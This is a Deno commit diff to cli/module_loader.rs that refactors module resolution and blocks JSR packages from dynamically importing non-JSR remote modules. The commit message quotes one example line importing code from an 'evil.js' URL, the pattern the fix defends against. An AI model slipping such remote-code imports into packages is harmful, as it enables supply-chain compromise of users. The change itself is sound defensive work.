summaryrefslogtreecommitdiff
path: root/cli/module_loader.rs
diff options
context:
space:
mode:
authorDavid Sherret <dsherret@users.noreply.github.com>2024-02-28 16:30:45 -0500
committerGitHub <noreply@github.com>2024-02-28 16:30:45 -0500
commit918c5e648f4bd08d768374ccde1b451b84793b76 (patch)
treed8fd19eefae2f816d7301336413b49a08b9803e3 /cli/module_loader.rs
parentf54acb53ed917eab1c7a2ba62e73963f9632d3df (diff)
fix(jsr): do not allow importing a non-JSR url via unanalyzable dynamic import from JSR (#22623)
A security feature of JSR is that it is self contained other than npm dependencies. At publish time, the registry rejects packages that write code like this: ```ts const data = await import("https://example.com/evil.js"); ``` However, this can be trivially bypassed by writing code that the registry cannot statically analyze for. This PR prevents Deno from loading dynamic imports that do this.
Diffstat (limited to 'cli/module_loader.rs')
-rw-r--r--cli/module_loader.rs180
1 files changed, 103 insertions, 77 deletions
diff --git a/cli/module_loader.rs b/cli/module_loader.rs
index ae7f8f349..0951a287c 100644
--- a/cli/module_loader.rs
+++ b/cli/module_loader.rs
@@ -1,5 +1,6 @@
// Copyright 2018-2024 the Deno authors. All rights reserved. MIT license.
+use crate::args::jsr_url;
use crate::args::CliOptions;
use crate::args::DenoSubcommand;
use crate::args::TsTypeLib;
@@ -24,6 +25,7 @@ use crate::worker::ModuleLoaderFactory;
use deno_ast::MediaType;
use deno_core::anyhow::anyhow;
+use deno_core::anyhow::bail;
use deno_core::anyhow::Context;
use deno_core::error::custom_error;
use deno_core::error::generic_error;
@@ -478,13 +480,28 @@ impl CliModuleLoader {
&code_source.found_url,
))
}
-}
-impl ModuleLoader for CliModuleLoader {
- fn resolve(
+ fn resolve_referrer(
&self,
- specifier: &str,
referrer: &str,
+ ) -> Result<ModuleSpecifier, AnyError> {
+ // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each
+ // call - maybe it should be caller's responsibility to pass it as an arg?
+ let cwd = std::env::current_dir().context("Unable to get CWD")?;
+ if referrer.is_empty() && self.shared.is_repl {
+ // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL
+ // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled
+ // but sadly that's not the case due to missing APIs in V8.
+ deno_core::resolve_path("./$deno$repl.ts", &cwd).map_err(|e| e.into())
+ } else {
+ deno_core::resolve_url_or_path(referrer, &cwd).map_err(|e| e.into())
+ }
+ }
+
+ fn inner_resolve(
+ &self,
+ specifier: &str,
+ referrer: &ModuleSpecifier,
kind: ResolutionKind,
) -> Result<ModuleSpecifier, AnyError> {
let permissions = if matches!(kind, ResolutionKind::DynamicImport) {
@@ -493,84 +510,66 @@ impl ModuleLoader for CliModuleLoader {
&self.root_permissions
};
- // TODO(bartlomieju): ideally we shouldn't need to call `current_dir()` on each
- // call - maybe it should be caller's responsibility to pass it as an arg?
- let cwd = std::env::current_dir().context("Unable to get CWD")?;
- let referrer_result = deno_core::resolve_url_or_path(referrer, &cwd);
+ if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
+ specifier,
+ referrer,
+ permissions,
+ ) {
+ return result;
+ }
- if let Ok(referrer) = referrer_result.as_ref() {
- if let Some(result) = self.shared.node_resolver.resolve_if_in_npm_package(
- specifier,
- referrer,
- permissions,
- ) {
- return result;
+ let graph = self.shared.graph_container.graph();
+ let maybe_resolved = match graph.get(referrer) {
+ Some(Module::Js(module)) => {
+ module.dependencies.get(specifier).map(|d| &d.maybe_code)
}
+ _ => None,
+ };
- let graph = self.shared.graph_container.graph();
- let maybe_resolved = match graph.get(referrer) {
- Some(Module::Js(module)) => {
- module.dependencies.get(specifier).map(|d| &d.maybe_code)
- }
- _ => None,
- };
-
- match maybe_resolved {
- Some(Resolution::Ok(resolved)) => {
- let specifier = &resolved.specifier;
-
- return match graph.get(specifier) {
- Some(Module::Npm(module)) => {
- let package_folder = self
- .shared
- .node_resolver
- .npm_resolver
- .as_managed()
- .unwrap() // byonm won't create a Module::Npm
- .resolve_pkg_folder_from_deno_module(
- module.nv_reference.nv(),
- )?;
- self
- .shared
- .node_resolver
- .resolve_package_sub_path(
- &package_folder,
- module.nv_reference.sub_path(),
- referrer,
- permissions,
- )
- .with_context(|| {
- format!("Could not resolve '{}'.", module.nv_reference)
- })
- }
- Some(Module::Node(module)) => Ok(module.specifier.clone()),
- Some(Module::Js(module)) => Ok(module.specifier.clone()),
- Some(Module::Json(module)) => Ok(module.specifier.clone()),
- Some(Module::External(module)) => {
- Ok(node::resolve_specifier_into_node_modules(&module.specifier))
- }
- None => Ok(specifier.clone()),
- };
- }
- Some(Resolution::Err(err)) => {
- return Err(custom_error(
- "TypeError",
- format!("{}\n", err.to_string_with_range()),
- ))
- }
- Some(Resolution::None) | None => {}
+ match maybe_resolved {
+ Some(Resolution::Ok(resolved)) => {
+ let specifier = &resolved.specifier;
+ let specifier = match graph.get(specifier) {
+ Some(Module::Npm(module)) => {
+ let package_folder = self
+ .shared
+ .node_resolver
+ .npm_resolver
+ .as_managed()
+ .unwrap() // byonm won't create a Module::Npm
+ .resolve_pkg_folder_from_deno_module(module.nv_reference.nv())?;
+ self
+ .shared
+ .node_resolver
+ .resolve_package_sub_path(
+ &package_folder,
+ module.nv_reference.sub_path(),
+ referrer,
+ permissions,
+ )
+ .with_context(|| {
+ format!("Could not resolve '{}'.", module.nv_reference)
+ })?
+ }
+ Some(Module::Node(module)) => module.specifier.clone(),
+ Some(Module::Js(module)) => module.specifier.clone(),
+ Some(Module::Json(module)) => module.specifier.clone(),
+ Some(Module::External(module)) => {
+ node::resolve_specifier_into_node_modules(&module.specifier)
+ }
+ None => specifier.clone(),
+ };
+ return Ok(specifier);
}
+ Some(Resolution::Err(err)) => {
+ return Err(custom_error(
+ "TypeError",
+ format!("{}\n", err.to_string_with_range()),
+ ))
+ }
+ Some(Resolution::None) | None => {}
}
- // FIXME(bartlomieju): this is a hacky way to provide compatibility with REPL
- // and `Deno.core.evalContext` API. Ideally we should always have a referrer filled
- // but sadly that's not the case due to missing APIs in V8.
- let referrer = if referrer.is_empty() && self.shared.is_repl {
- deno_core::resolve_path("./$deno$repl.ts", &cwd)?
- } else {
- referrer_result?
- };
-
// FIXME(bartlomieju): this is another hack way to provide NPM specifier
// support in REPL. This should be fixed.
let resolution = self.shared.resolver.resolve(
@@ -596,7 +595,7 @@ impl ModuleLoader for CliModuleLoader {
return self.shared.node_resolver.resolve_req_reference(
&reference,
permissions,
- &referrer,
+ referrer,
);
}
}
@@ -604,6 +603,33 @@ impl ModuleLoader for CliModuleLoader {
resolution.map_err(|err| err.into())
}
+}
+
+impl ModuleLoader for CliModuleLoader {
+ fn resolve(
+ &self,
+ specifier: &str,
+ referrer: &str,
+ kind: ResolutionKind,
+ ) -> Result<ModuleSpecifier, AnyError> {
+ fn ensure_not_jsr_non_jsr_remote_import(
+ specifier: &ModuleSpecifier,
+ referrer: &ModuleSpecifier,
+ ) -> Result<(), AnyError> {
+ if referrer.as_str().starts_with(jsr_url().as_str())
+ && !specifier.as_str().starts_with(jsr_url().as_str())
+ && matches!(specifier.scheme(), "http" | "https")
+ {
+ bail!("Importing {} blocked. JSR packages cannot import non-JSR remote modules for security reasons.", specifier);
+ }
+ Ok(())
+ }
+
+ let referrer = self.resolve_referrer(referrer)?;
+ let specifier = self.inner_resolve(specifier, &referrer, kind)?;
+ ensure_not_jsr_non_jsr_remote_import(&specifier, &referrer)?;
+ Ok(specifier)
+ }
fn load(
&self,